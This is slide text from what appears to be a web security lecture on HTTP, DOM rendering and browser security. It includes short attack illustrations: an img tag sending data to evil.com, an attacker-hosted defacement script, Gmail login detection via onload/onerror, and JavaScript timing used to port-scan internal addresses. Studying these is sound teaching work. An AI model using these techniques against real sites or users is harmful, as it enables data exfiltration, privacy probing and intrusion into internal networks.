Module 5.
3: HTTP & Content
Rendering
http protocol, Webpage
Rendering basics
HTTP
URLs
Global identifiers of network-retrievable documents
Example:
http://stanford.edu:81/class?name=cs155#homework
Protocol
Fragment
Hostname Path
Port Query
Special characters are encoded as hex:
%0A = newline
%20 or + = space, %2B = + (special exception)
HTTP Request
Method File HTTP version Headers
GET /index.html HTTP/1.1
Accept: image/gif, image/x-bitmap, image/jpeg, */*
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)
Host: www.example.com
Referer: http://www.google.com?q=dingbats
Blank line
Data none for GET
GET : no side effect POST : possible side effect
HTTP Response
HTTP version Status code Reason phrase Headers
HTTP/1.0 200 OK
Date: Sun, 21 Apr 1996 02:20:42 GMT
Server: Microsoft-Internet-Information-Server/5.0
Connection: keep-alive Data
Content-Type: text/html
Last-Modified: Thu, 18 Apr 1996 17:39:05 GMT
Set-Cookie:
Content-Length: 2543
Cookies<HTML> Some data... blah, blah, blah </HTML>
RENDERING CONTENT
Rendering and events
Basic browser execution model
Each browser window or frame
Loads content
Renders it
Processes HTML and scripts to display page
May involve images, subframes, etc.
Responds to events
Events can be
User actions: OnClick, OnMouseover
Rendering: OnLoad, OnBeforeUnload
Timing: setTimeout(), clearTimeout()
Example
<!DOCTYPEhtml>
<html>
<body>
<h1>My First Web Page</h1>
<p>My first paragraph.</p>
<buttononclick="document.write(5 + 6)">Try it</button>
</body>
</html>
Source: http://www.w3schools.com/js/js_output.asp
http://phet.colorado.edu/en/simulations/category/html
Example
Document Object Model (DOM)
Object-oriented interface used to read and write docs
web page in HTML is structured data
DOM provides representation of this hierarchy
Examples
Properties: document.alinkColor, document.URL, document.forms[ ],
document.links[ ], document.anchors[ ]
Methods: document.write(document.referrer)
Includes Browser Object Model (BOM)
window, document, frames[], history, location, navigator (type
and version of browser)
Example
<!DOCTYPEhtml>
<html>
<body>
<h1>My First Web Page</h1>
<p>My First Paragraph</p>
<pid="demo"></p> Source: http://
www.w3schools.com/js/js_output.asp
<script>
document.getElementById("demo").inner
HTML = 5 + 6;
</script>
</body>
</html>
My First JavaScript
Document Object Model
The Document Object Model is a programming API for documents.
The object model itself closely resembles the structure of the documents it models.
consider this table, taken from an HTML document:
<TABLE>
<ROWS> Shady Grove Aeolian
<TR> Over the River,
Dorian
<TD>Shady Grove</TD> Charlie
<TD>Aeolian</TD>
</TR>
<TR>
<TD>Over the River, Charlie</TD>
<TD>Dorian</TD>
</TR>
</ROWS>
</TABLE>
DOM for the HTML Table
Changing HTML using Script, DOM
HTML <ul id="t1">
Some possibilities
<li> Item 1 </li>
createElement(elementName) </ul>
createTextNode(text)
appendChild(newChild)
removeChild(node)
Example: Add a new list item:
var list = document.getElementById('t1')
var newitem = document.createElement('li')
var newtext = document.createTextNode(text)
list.appendChild(newitem)
newitem.appendChild(newtext)
Basic web functionality
HTML Image Tags
<html>
<p> </p>
<img src=http://example.com/sunset.gif height="50"
width="100">
</html>
Displays this nice picture
Security issues?
Img tag
Remember, theimgtag includes a
wholeseparate fileinto your web page. You're
only supposed to use this tag for images. Like
this:
<img src="http://example.com/images/example.jpg">
But suppose some evil teenager in Alaska posts a
comment with this little gem:
<img src="http://evilinalaska.com/scripts/deface-home-page.php">
If you visit this website --
<img style="display:none;" onload="logged_in_to_gmail()"
onerror="not_logged_in_to_gmail()"
src="https://mail.google.com/mail/photos/img/photos/public/AIbEiAIA
AABDCKa_hYq24u2WUyILdmNhcmRfcGhvdG8qKDI1ODFkOGViM2I5Zj
UwZmZlYjE3MzQ2YmQyMjAzMjFlZTU3NjEzOTYwAZwSCm_MMUDjh599
IgoA2muEmEZD" />
Security consequences
Image tag security issues
Communicate with other sites
<img src=http://evil.com/pass-local-
information.jpg?extra_information>
Hide resulting image
<img src= height=1" width=1">
Spoof other sites
Add logos that fool a user
Important Point: A web page can send information to any site
READ: https://iconewsblog.wordpress.com/2015/09/16/does-your-website-have-a
Basic web functionality
JavaScript onError
Basic function
Triggered when error occurs loading a
document or an image
Example
<img src="image.gif"
onerror="alert('The image could not be loaded.')
>
Runs onError handler if image does not exist and cannot
load
https://www.tutorialspoint.com/javascript/javascript_error_handling.htm
Basic web functionality
JavaScript timing
Sample code
<html><body><img id="test" style="display: none">
<script>
var test = document.getElementById(test);
var start = new Date();
test.onerror = function() {
var end = new Date();
alert("Total time: " + (end - start));
}
test.src = "http://www.example.com/page.html";
</script>
When response header indicates that page is not an image, the browser stops and
</body></html>
notifies JavaScript via the onerror handler.
Port scanning behind
Security consequence
JavaScript can: firewall
Request images from internal IP addresses
Example: <img src=192.168.0.4:8080/>
Use timeout/onError to determine success/failure
Fingerprint webapps using known image names
1) show me dancing pigs! scan
Malicious
2) check this out
Server Web page
scan
3) port scan results
scan
Browser
Firewall
Remote scripting
Goal
Exchange data between a client-side app running in a browser and
server-side app, without reloading page
Methods
Java Applet/ActiveX control/Flash
Can make HTTP requests and interact with client-side JavaScript code, but
requires LiveConnect (not available on all browsers)
XML-RPC
Open standards-based technology that requires XML-RPC libraries on server
and in your client-side code.
Simple HTTP via a hidden IFRAME
IFRAME with a script on your web server (or database of static HTML files) is by far the
easiest of the three remote scripting options
Important Point: A page can maintain bi-directional
communication with browser (until user closes/quits)
See: http://developer.apple.com/internet/webcontent/iframe.html
Simple remote scripting example
client.html: RPC by passing arguments to server.html in query string
<script type="text/javascript">
function handleResponse() {
alert('this function is called from server.html') }
</script>
<iframe id="RSIFrame" name="RSIFrame"
style="width:0px; height:0px; border: 0px"
src="blank.html">
</iframe>
<a href="server.html" target="RSIFrame">make RPC call</a>
server.html: another page on same server, could be server.php, etc
<script type="text/javascript">
window.parent.handleResponse()
</script>
RPC can be done silently in JavaScript, passing and receiving argumen
